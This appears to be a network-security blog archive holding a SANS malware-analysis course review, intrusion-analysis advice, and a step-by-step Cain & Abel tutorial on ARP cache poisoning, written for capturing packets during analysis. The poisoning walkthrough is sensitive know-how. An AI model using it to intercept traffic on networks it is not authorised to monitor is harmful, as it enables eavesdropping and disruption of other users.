Category Archives: Network Security

My Review of SANS FOR610: Reverse Engineering Malware

I had the opportunity to take the SANS FOR610: Reverse Engineering Malware course in Orlando a couple of weeks ago and I wanted to write about my experience with the course. It’s no secret that I’m a big proponent of SANS. I’ve taken SEC 503 and SEC 504 at live events and I also mentor both courses here locally in Charleston. I wanted to take FOR610 as my next course because malware analysis is something I’ve not done a significant amount of. I’ve done a fair amount of behavioral analysis but very little code analysis at the assembly level and the course syllabus appeared to be heavy on that subject so it seemed like a natural fit to help fill in some of my knowledge gaps.

Instructor

The course in Orlando was taught by Lenny Zeltser. Lenny is the primary author of the materials, and he also runs a great blog over at http://blog.zeltser.com/ that I’ve followed for quite some time. I’ve been to a lot of different training courses and have also provided courses myself so I’ve seen plenty of bad instructors and good instructors. One of the things I find most challenging when teaching is taking highly complex subject matter and breaking it down in such a way that it is understandable. Being able to do this effectively is one of my primary criteria for defining a good instructor. That said, Lenny is perhaps one of the best teachers I’ve had. He took all of the highly complex concepts and broke them down in such a way that they were understandable at some level for every one in the class. He provided clear guidance and assistance during the lab portions of the class and I don’t remember a single question that was asked that he didn’t have an immediate answer for. His depth of knowledge on the subject was very apparent and appreciated.

Difficulty

The course really has two distinct sides to it: behavioral analysis and code analysis. Depending on your background, you may find this course very difficult at times and easier at others. I have written several programs in languages including Python, PHP, and C as a function of my primary job role, so I understand programming concepts, but I’m not a professional programmer by any stretch. That being the case, I had a harder time with the code analysis portions of the course. If I didn’t have any programming experience, I think I would have been completely lost on more than a few occasions. On the other side of the coin, I had no problems whatsoever with the behavioral analysis instruction and labs, but I could tell that several other people in the class did. From what I gathered by talking to people and looking at name badges, roughly 65-85% of the folks in my class were programmers of some sort. The course is touted as not requiring any previous programming experience, but I think to get the full benefit from the class, you should at least be familiar with core programming concepts, preferably in an object oriented language.

Course Content

The course was 5 days long and covered a variety of topics. I’ve outline some of those here along with the new skills I gained or enhanced as a result of what we learned.

Day 1

The first half of the first day was devoted to the setup of the virtual malware analysis lab used in the course. This is done in such a way so that the virtual lab can be used after you leave the class to do real world malware analysis in your organization using the virtual infrastructure. The second half of day one focused on using the lab for behavioral analysis.

New Skills I Gained: Knowledge of new malware analysis tools.

Day 2

This day built upon our knowledge of behavioral analysis and introduced new concepts related to that. We were introduced to dissecting packed executables and Javascript and Flash malware.

New Skills I Gained: Automated unpacking of packed files. Tools for dissection and extraction of malicious code in Flash objects.

Day 3

This day was devoted to code analysis. We were introduced to assembly and spent a great deal of time looking at commonly identifiable assembly patterns used in malware. This was one of the most useful parts of the class for me. We also looked a bit at anti-disassembling techniques that malware authors use.

New Skills I Gained: Enhanced understanding of assembly. A plethora of anomalies to look for in assembly level code analysis of malware. Patching code at the assembly level to get a desired outcome.

Day 4

The fourth day focused on analysis of malware that was designed to prevent itself from being analyzed. We looked at packers and learned how to manually step through malware code to unpack it for analysis. The day ended with an detailed and highly valuable look into deobfuscating malware in browser scripts.

New Skills I Gained: Detailed understanding of assembly for malware analysis. Manual extraction of unpacked code from packed executables.

Day 5

The final day of the course was another one of the most useful parts of the course for me. This first half of this day focused on analysis of malicious Microsoft Office files and malicious PDFs. After lunch, we covered shellcode analysis and memory analysis.

New Skills I Gained: Tools and procedures for extracting malicious code from MS Office files and PDFs. Better understanding of PDF file structure. Extraction of malware running in memory.

Labs

The labs were an integral part of the course. In the labs we analyzed real malware samples in our virtual analysis lab. I’m incredibly happy that we looked at REAL code from REAL attackers rather than simple malware created in a lab for the purpose of the course. Doing things this way we got to see how attackers will often take shortcuts or write bad code that we have to sort through rather than just dissecting cookie cutter malware with no imperfections. The labs served their purpose, helping reinforce new concepts in a practical manner. During the course, everyone had their laptops open and two virtual machines running at all times as we would dive into them for exercises very frequently.

Although I was very pleased with the labs in some ways, I am critical of them for a few other reasons. Prior to the class, you are provided some instructions on how to setup a single Windows based VM that is destined to be infected with malware repeatedly throughout the class. In addition, the instructions said we would be given a version of Remnux, the reverse engineering malware Linux distribution created by Lenny, to use during the class when we got there. I got this all up and running without any problems, but I was pretty upset when I got to the class to find out that there was quite a bit more setup to do. As a matter of fact, almost the entire first half of the first day of instruction was taken up by additional lab configuration. We were given a CD that contained a variety of tools that were to be installed on our Windows VM. I think all in all, we had to install about 25 different tools. Several people asked why these weren’t provided prior to the class and we were told it was so that we would take more ownership over our malware analysis labs and could ask questions. Although I can respect the comments in support of this, I think providing these tools prior to the class along with the other instructions would allow for better use of time. At lunch the first day I felt a bit cheated as my company had paid for an expensive course where I was just sitting around installing software. Providing this software prior to the course and having people come prepared would have allowed for a whole half day of additional instruction which would have been incredibly valuable.

The other primary issue I had with the labs was the format in which they were laid out. In most of the labs, Lenny would teach us a concept and then step through the process on his own system. Then he would turn us loose on our systems to work on the same example he just walked through. Although somewhat helpful, it wasn’t entirely effective since we had just seen him do the same example we were working through. I would contrast this with the lab format in the SEC 503: Intrusion Detection In-Depth course. In that course, students are given a workbook with lab exercises. The instructor there would teach a concept, go through a lab on screen, and then turn students to the workbook and give them some time to work through similar, but different examples. This format provided a great deal more value because we had to do quite a bit more thinking to get through the examples on our own, rather than just recreating what the instructor did.

Summing It Up

Overall, my experience with FOR 610 was very valuable and I’m thrilled I got the chance to take the course. I walked away with a lot of new skills and am able to provide a lot of value to my organization as a result. I now feel completely comfortable performing code analysis of malicious binaries. I also learned more assembly than I ever thought I would and feel like I could even write some simple programs in assembly should I choose to punish myself in that manner. I also gained a greater understanding of lower level operating system components which will prove useful in several cases. Make no mistake, this is a very difficult course, which is why ways numbered it so high. It is the highest level forensics course they teach, and it will challenge you. However, if you are up to it, there is a lot to be learned here, and I have no doubt that it is the best malware analysis course you will find.

You can read more about this course at http://www.sans.org/security-training/reverse-engineering-malware-malware-analysis-tools-techniques-54-mid.

Collecting Threat Intelligence

One of the more important skills in intrusion detection and analysis is the ability to evaluate an IP address or domain name in order to build an intelligence profile on that host. Gathering this intelligence can help guide you to making more informed decisions regarding the remote hosts that are communicating with your network in order to determine if they are of a malicious or hostile nature. I recently wrote a two-part article on collecting threat intelligence for WindowsSecurity.com which describe some methods that can be used to collect threat intelligence on a host or network.

Collecting Threat Intelligence (Part 1)

Collecting Threat Intelligence (Part 2)

The 10 Commandments of Intrusion Analysis

I’ve been actively involved in the training and development of intrusion detection analysts for a few years now which includes being a SANS Mentor for SEC 503: Intrusion Detection In-Depth. One thing I find myself constantly doing is trying to evolve my philosophy on effective intrusion detection. While doing this, some themes arise that tend to stay consistent no matter how that philosophy changes. Through that, I’ve written up something I call the “10 Commandments of Intrusion Analysis” which highlight some of those themes that seem to be at the core of what I try to instill in the analysts I train and in my own analysis. They don’t really command you to anything, but there are 10 of them, so the name kind of fits. These may not fit you or your organizational goals or personal style, but they work for me!

1. Analysts, Analysts, Analysts!

The most important thing an analyst can have ingrained into them in their importance. An analyst is the first line of defense. The analyst is sitting in the crows nest watching for the icebergs. It is the analyst who can keep attacks from happening and can stop attacks from getting worse. Most security incidents begin with an analyst providing a tip based upon an IDS alert and end with an analyst putting in new signatures and developing new tools based up on intelligence gained from a declared incident. The analyst is the beginning and the end in information security. The alpha and omega. Okay, maybe that’s a bit dramatic, but the importance of an intrusion analyst can’t be understated.

2. Unless you created the packet yourself, there are no absolutes.

Analysis happens in a world of assumptions and its important to remember that. Most of the decisions you will make are centered around a packet or a log entry and then honed based upon intelligence gathered through research. The fact is that the analyst isn’t the one who generated the traffic, so every decision you will make is based upon an assumption. Don’t worry though; there is nothing wrong with that. Ask your friendly neighborhood chemist or physicist. Most of their work is based upon assumptions and they have great success. The takeaway here is that there are no absolutes. Is that IP address REALLY a known legitimate host? Does that domain REALLY belong to XYZ company? Is that DNS server REALLY supposed to be talking to that database server? There are no absolutes, merely assumptions, and because of that remember that assumptions can change. Always question yourself and stay on your toes.

3. Be mindful of how far abstracted from the data you actually are.

An analyst depends on data to perform their function. This data can come in the form of a PCAP file, an IIS log file, or SYSLOG file. Since most of your time will be spent using various tools to interact with data it’s crucial to be mindful of how that tool interacts with the data. Did you know that if you run Tcpdump without specifying otherwise, it will only capture the first 68 bytes of data in a packet? How about that Wireshark displays sequence and acknowledgement numbers within TCP packets in a relative manner by default? Tools are made by people and sometimes “features” can cloud data and prevent proper analysis. I think both of the features I described earlier are great, but I’m also mindful that they exist so I can see all of the packet data available or view the real sequence and acknowledgement numbers when needed. In a job where reliance upon data is critical, you can’t afford to not understand exactly how tools interact with that data.

4. Two sets of eyes are always better than one.

There is a reason authors have editors, policemen have partners, and there are two guys sitting in every nuclear silo. No matter how much experience you have and how good you are you will always miss things. This is to be expected because different people come from different backgrounds. I work with the government so the first thing I look at when examining network traffic is the source and destination country. I’ve worked with people who have systems administration backgrounds and as a result, will look at the port number of the traffic first. I’ve even worked with people who have a number crunching background who will look at the packet size first. This demonstrates that our experiences shape our tactics a bit differently. This means that the numbers guy might see something that the sysadmin didn’t see or that the government guy might have insight that the numbers guy didn’t. Whenever possible it’s always a good idea to have a second set of eyes look at the issue you are facing.

5. Never invite an attacker to dance.

This is something I’ve believed since the first day I ever fired up a Snort sensor, but IDS guru Mike Poor phrased it best while I was attending one of his SANS classes when he said that you should never invite an attacker to dance. As an analyst its very tempting to want to investigate a hostile IP address a bit beyond conventional means. Trust me, there have been many occasions where I’ve been tempted to port scan a hostile that kept sending me painfully obviously crafted UDP packets. Even more so, any time someone attempts to DOS a network I’m responsible for defending, I wish nothing more than to be able to unleash the full fury of a /8 network on their poor unsuspecting DSL connection. The problem with this is that 99% of the time we don’t know who or what we are dealing with. Although you may just be seeing scanning activity, the host that is originating the traffic could be operated by a large group or even a military division of another country. Even something as simple as a ping could tip off an attacker that you know they exist, prompting them to change their tactics, change source hosts, or even amplify their efforts. You don’t know who you are dealing with, what their motivation is, and what there capabilities are, so you should never invite them to dance.

6. Context!

One word can drastically change the dynamic of your monitoring and detection capabilities. In order to be effective you must have context into the network you are defending. Network diagrams, listings of servers and their roles, breakdowns of IP address allocations, and more can be your best friend. Basically any and everything that can be used to document the assets within the network, how they function, and how they relate to other assets are beneficial in running down anomalous events. Depending upon your role in the organization you may not be in a position to obtain these things and if they don’t already exist you are going to have a heck of a time getting the systems folks to put in the leg work to create them. However, as difficult as this may be, its an effort that’s worth pursuing. Whether you have to present your case to the CIO or just buy your network engineers a case of their favorite adult beverage its ultimately worth the effort.

7. Packets, in a word, are good.

The ultimate argument in life is whether or not people are inherently good or inherently evil.  This same argument can be had for packets as well. You can either be the analyst that believes all packets are inherently evil or the analyst that believes all packets are inherently good. I’ve noticed that most analysts typically start their career as for the former and quickly progress the later. That’s because its simply not feasible to approach every single piece of traffic as something that could be a potential root level compromise. If you do this, you’ll eventually get fired because you spent your entire day running down a single alert or you’ll just get burnt out. There is something to be said for being thorough but the fact of the matter is that most of the traffic that occurs on a network isn’t going to be evil, and as such, packets should be treated innocent until proven guilty.

8. Analysis is no more about tcpdump than astronomy is about a telescope.

Whenever I interview someone for any analyst position that’s above entry level I always ask them to describe how they would investigate a typical IDS alert. I get frustrated when someone gives answers along the lines of “I use  Tcpdump, Wireshark, Network Miner, Netwitness, Arcsight, Xeyes, etc” with no further clarification. Although their are processes and sciences in intrusion analysis, intrusion analysis itself is not a process or a science, but rather an art. If this wasn’t the case then it wouldn’t even be necessary to have humans in the loop when it comes to intrusion detection. An effective analyst has to understand that while different tools may be the most important part of the job, those things are merely pieces of the puzzle. Just like an astronomer’s telescope is just another tool in his arsenal that allows him to figure out what makes the planets orbit the sun, Wireshark is just another tool in an analysts arsenal that allows him to figure out what makes a packet bypass a firewall rule. Start with the science, add in a few tools and processes, stay cognizant of the big picture, keep an attention to detail, and eventually the combination of all of those things and the experience you gain over time will help you develop your own analysis philosophy. It’s at that point you have taken your analysis to the level of an art, and made it so that your worthy enough to not be replaced by a machine.

9. Sometimes, we lose.

No matter how hard you try there will come a point in which the network you are defending gets successfully attacked and compromised. In the modern security landscape its inevitable and there isn’t a lot you can do about it. In these times its likely that the analyst will take the heat over the incident. Because of this, you need to be prepared when it happens. An incident won’t be remembered for how an intrusion occurred, but rather how it was responded to, the amount of downtime that occurred, the amount of information that was lost, and ultimately the amount of money it costs the organization. What recommendations can you make to management to ensure a similar incident doesn’t occur again? What can you show your superiors to explain why the attack wasn’t detected? What shortcomings do your tools have? These are questions that can’t fully be answered until an intrusion has occurred and you have the context of an attack, but you can definitely consider the questions now and have a plan for how your information will be presented to key figures. You will get caught off guard and you will be blind sided, but its important that you don’t appear as such and you keep your game face on. This can make the difference between a promotion and a pink slip.

10. Dig deeper.

At the end of the day you have to have something to rest your laurels on and that has to be the fact that you’ve done your due diligence and that you’ve given your best. My “motto” per se when it comes to intrusion analysis is “Dig Deeper”. A defender has to control 65,535 ports. An attacker has to compromise one. A defender has to protect 10,000 users. An attacker has to deceive one. A defender has to examine millions of packets. An attacker has to hide a malicious payload in one. What can you do to increase your visibility into the data? What proficiency can you develop that gives you that edge against the attacker? You have a hunch that there is more than meets the eye, so what can you do to dig deeper?

Understanding Man-In-The-Middle Attacks

I’ve been slowly working through an article series entitled “Understanding Man-In-The-Middle Attacks” for the last few months. The last article of this series was published a couple of weeks ago so I thought I’d post a quick roundup of them all. This series covers four different types of attacks, how they work, how to execute them, and how to protect yourself from them. These articles are being hosted on WindowsSecurity.com, whom I write for on a monthly basis.

You can read each article at its corresponding link:

Using ARP Cache Poisoning for Packet Analysis

Unfortunately, sniffing packets isn’t always as easy as plugging into an open port and firing up Wireshark. In fact, it is sometimes more difficult to place a packet sniffer on a network’s cabling system than it is to actually analyze the packets. In the grand ole days of packet analysis when everybody used hubs you could plug in and sniff all of the traffic on a network segment. As most of you know now however, the advent of switched networks prevents this. When you plug a sniffer in to a port on a switch, you can only see broadcast traffic and the traffic transmitted and received by your machine. Because of that we have had to come up with a few alternative techniques to getting the traffic we need.

The three most popular techniques for doing this are port mirroring, hubbing out, and ARP cache poisoning. The goal of this article is to give a brief overview of port mirroring and hubbing out, which are very commonly used, and then to give a detailed explanation of ARP cache poisoning, the least well known of the trio.

The Common Techniques

Port Mirroring is probably one of the easiest ways to capture the traffic you are looking for. Also called port spanning, this is a feature available on most managed network switches. This is configurable by accessing the command line or GUI management for the switch the target and sniffer systems are plugged in to and entering commands which mirror the traffic of one port to another. For instance, to capture the traffic of a device plugged in to port 3 on a switch, you could plug your sniffer into port 6 and enter a vendor specific mirroring command that mirrors port 3 to port 6.

Hubbing out is a technique in which you localize the target device and your analyzer system on the same network segment by plugging them directly in to a hub. In order to do this, all you need is an old hub and a few network cables. Simply go to the switch that the target computer resides on and unplug it from the network. Plug the targets network cable, along with the cable for your sniffer, into the hub, and then plug the hub into the network switch. This will put your sniffer and the target machine on the same broadcast domain and allow you to see all of the packets going to and from the target machine, as well as yours. Since this does involve a brief moment of connectivity loss, I do highly recommend letting the user of the target system know that you will be briefly disrupting their connectivity, especially if it is someone in management!

Poisoning the ARP Cache

The ARP protocol was designed out of necessity to facilitate to translation of addresses between the second and third layers of the OSI model.  The second layer, or data-link layer, uses MAC addresses so that hardware devices can communicate to each other directly on a small scale. The third layer, or network layer, uses IP addresses (most commonly) to create large scalable networks that can communicate across the globe. The data link layer deals directly with devices connected together where as the network layer deals with devices that are directly connected AND indirectly connected. Each layer has its own addressing scheme, and they must work together in order to make network communications happen. For this very reason, ARP was created with RFC 826, “An Ethernet Address Resolution Protocol”. I’m not going to go into detail on the whole ARP process here, but I highly recommend reading my Packet School 201 write up on it here in order to better understand this process.

ARP cache poisoning is a more advanced form of tapping into the wire on a switched network. It is commonly used by hackers to send falsely addressed packets to client systems in order to intercept certain traffic or cause denial of service (DoS) attacks on a target, but ARP cache poisoning can still serve as a legitimate way to capture the packets of a target machine on a switched network.

ARP cache poisoning, sometimes referred to as ARP spoofing, is the process of sending ARP messages to an Ethernet switch or router with fake MAC (Layer 2) addresses in order to intercept the traffic of another computer.

 

Using Cain & Abel 

When attempting to poison the ARP cache, the first step is to download the required tools and collect some necessary information. We’ll use the popular security tool Cain & Abel from Oxid.it (http://www.oxid.it). The installation is pretty straight forward so I won’t go through that here.

Once you have installed the Cain & Abel software, you need to collect some additional information including the IP addresses of your analyzer system, the remote system you wish to capture the traffic from, and the router that the remote system is downstream from.

When you first open Cain & Abel, you will notice a series of tabs near the top of the window. (ARP cache poisoning is only one of a variety of Cain & Abel’s features.) For our purposes, we’ll be working in the Sniffer tab. When you click this tab, you will see an empty table. In order to fill this table you will need to activate the program’s built-in sniffer and scan your network for hosts.

Click the second icon on the toolbar, which resembles a network card. The first time you do this you will be asked to select the interface you wish to sniff. This interface should be the one that is connected to the network you will be performing your ARP cache poisoning on. Once you’ve selected this interface, click OK to activate Cain & Abel’s built-in sniffer. To build a list of available hosts on your network, click the icon that resembles a plus (+) symbol, and click OK.

The once-empty grid should now be filled with a list of all the hosts on your attached network, along with their MAC addresses, IP addresses, and vendor identifying information. This is the list you will work from when setting up your ARP cache poisoning.

At the bottom of the program window, you will see a set of tabs that will take you to other windows under the Sniffer heading. Now that you have built your host list, you will be working from the APR tab. Switch to the APR window by clicking the tab.

Once in the APR window, you are presented with two empty tables: an upper and a lower one. Once you set them up, the upper table will show the devices involved in your ARP cache poisoning, and the lower table will show all communication between your poisoned machines.

Continue setting up your ARP poisoning by clicking the icon resembling the plus (+) symbol on the program’s standard toolbar. The window that appears has two selection columns side by side. On the left side, you will see a list of all available hosts on your network. Click the IP address of the target computer whose traffic you wish to sniff. This will result in the right window showing a list of all hosts in the network, omitting the target machine’s IP address. In the right window, click the IP address of the router that is directly upstream of the target machine, and click OK.

The IP addresses of both devices should now be listed in the upper table in the main application window. To complete the process, click the yellow-and-black radiation symbol on the standard toolbar. This will activate Cain & Abel’s ARP cache poisoning features and allow your analyzing system to be the middleman for all communications between the target system and its upstream router.

You can now fire up your packet sniffer and begin the analysis process. When you are finished capturing traffic, simply click the yellow-and-black radiation symbol again to stop ARP cache poisoning.

A Final Note

As a final note on ARP cache poisoning, you should be very aware of the roles of the systems you implement this process for. For instance, do not use this technique when the target device is something with very high network utilization, such as a fileserver with a 1Gbps link to the network (especially if your analyzer system only provides a 100Mbps link). When you perform this rerouting of traffic, all traffic transmitted and received by the target system must first go through your analyzer system, therefore making your analyzer the bottleneck in the communication process. This can create a DoS-type effect on the machine you are analyzing, which will result in degraded network performance and faulty analysis data.

That is all there really is to ARP cache poisoning. This technique has always proved significantly useful in packet analysis experience and I hope it does in yours as well.